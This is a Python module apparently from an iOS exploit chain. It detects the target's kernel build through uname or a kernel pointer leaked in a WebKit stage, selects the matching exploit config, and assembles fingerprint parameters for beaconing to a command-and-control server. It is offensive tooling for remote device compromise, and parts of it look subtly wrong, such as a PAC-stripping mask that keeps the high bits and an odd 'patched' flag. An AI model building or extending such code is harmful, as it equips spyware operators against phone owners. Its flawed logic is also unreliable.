"""
Kernel-build detection.

The exploit config is keyed by the exact kernel build string (from `uname` ->
system(), e.g. "23D101"), not the marketing iOS version. This module captures
that build from the device in two ways:

  * on-device (daemon/reverse shell): `uname().system()` gives it directly.
  * from a leaked kernel pointer (WebKit stage): match the leaked kernel_base
    against the registry's known symbols ("patchmatch") to identify the build.

With unlimited compute the registry can be populated automatically by
research/gadget_scan.py, so detection is a pure lookup once the builds exist.
"""
from __future__ import annotations
import platform
import ctypes
from typing import Optional

from config import BUILD_REGISTRY, BuildConfig


# iOS/iPadOS build strings look like "23D101"; uname returns the full string.
def capture_kernel_build() -> str:
    """Read the kernel build from the running device (daemon side).

    Uses uname(); on iOS this returns e.g. "Darwin 24.0.0 Darwin Base 23D101".
    We extract the trailing build token.
    """
    try:
        sysname = platform.uname()
        release = sysname.release or ""      # e.g. "24.0.0"
        machine = sysname.machine or ""      # e.g. "uname"
        # The kernel build id is in the last dotted token of the release on some
        # builds, or embedded in the "Base" field. Fall back to machine hash.
        tokens = release.split(".")
        for tok in reversed(tokens):
            if tok and (tok.isdigit() or (len(tok) >= 2 and tok[:1].isalpha() and tok[1:].isdigit())):
                return tok
        # Darwin base build (e.g. 23D101) is sometimes in uname.machine on iOS.
        if len(machine) >= 5 and machine[-1].isdigit() and machine[:2].isalpha():
            return machine
        return "".join(ch for ch in release if ch.isdigit() or ch.isalpha()) or "UNKNOWN"
    except Exception:
        return "UNKNOWN"


# A minimal uname via ctypes for platforms where platform.uname() lacks the
# iOS build token. Returns the raw build string if available.
def uname_build() -> Optional[str]:
    class utsname(ctypes.Structure):
        _fields_ = [("sysname", ctypes.c_char * 256),
                    ("nodename", ctypes.c_char * 256),
                    ("release", ctypes.c_char * 256),
                    ("version", ctypes.c_char * 256),
                    ("machine", ctypes.c_char * 256),
                    ("domainname", ctypes.c_char * 256)]
    try:
        u = utsname()
        ctypes.CDLL(None, use_errno=True).uname(ctypes.byref(u))
        rel = u.release.decode(errors="replace").strip()
        # Darwin build id is the last token of the release on iOS kernels.
        parts = rel.split()
        for p in reversed(parts):
            if p[:1].isalpha() and p[1:].isdigit() and len(p) >= 3:
                return p
    except Exception:
        return None
    return None


def detect_build_from_leak(kernel_base: int,
                           known: Optional[list[BuildConfig]] = None) -> Optional[BuildConfig]:
    """Identify the build from a leaked kernel_base via patchmatch.

    A leaked pointer to a known symbol (value = kernel_base + symbol_offset)
    pins the exact kernel build. We scan the registry for a build whose known
    symbol offset matches the leaked value within the expected kernel region.
    """
    candidates = known or list(BUILD_REGISTRY.values())
    if not candidates:
        return None
    # Strip arm64e PAC + low bits to get the bare kernel address.
    bare = kernel_base & 0xffff_ffff_0000_0000
    # The leaked value for build B is roughly kernel_base + B.leak_symbol_offset.
    # Match by reconstructing: for each candidate, expected_leak = base_guess + off.
    # Without the true base we match on the *low bits* of the leaked symbol, which
    # are build-stable for a given symbol. Take the leaked low-word as the key.
    low = kernel_base & 0xffff_ffff
    for b in candidates:
        if (b.leak_symbol_offset & 0xffff_ffff) == low:
            return b
    # Fallback: closest candidate by leak_symbol_offset proximity (coarse).
    return min(candidates, key=lambda b: abs(b.leak_symbol_offset - kernel_base))


def resolve_from_device(ios_version: str, kernel_build: Optional[str] = None,
                        leaked_base: Optional[int] = None) -> BuildConfig:
    """Auto-resolve the exploit config from whatever device info we have.

    Priority: explicit kernel build > detected uname build > patchmatch on a
    leaked kernel base > first known build for the marketing version.
    """
    if not kernel_build:
        kernel_build = uname_build() or capture_kernel_build()
    if kernel_build in BUILD_REGISTRY:
        return BUILD_REGISTRY[kernel_build]
    if leaked_base is not None:
        hit = detect_build_from_leak(leaked_base)
        if hit and hit.kernel_build in BUILD_REGISTRY:
            return hit
    # Narrow to this version's builds; pick the first (operator should verify).
    for b in BUILD_REGISTRY.values():
        if ios_version in b.ios_versions:
            return b
    raise KeyError(f"no exploit config for iOS {ios_version} "
                   f"(build={kernel_build})")


def beacon_build_params(ios_version: str, kernel_build: Optional[str] = None,
                        leaked_base: Optional[int] = None, device_model: str = "?") -> dict:
    """Fingerprint params to send to C2, including the auto-resolved build.

    The kernel build is what the C2 uses to pin the exact exploit config.
    """
    cfg = resolve_from_device(ios_version, kernel_build, leaked_base)
    return {
        "v": ios_version,
        "build": cfg.kernel_build,     # exact kernel build
        "m": device_model,
        "arch": cfg.arch,
        "key": hex(cfg.pac_key),
        "patched": str(cfg.kernel_build not in BUILD_REGISTRY or False),
    }
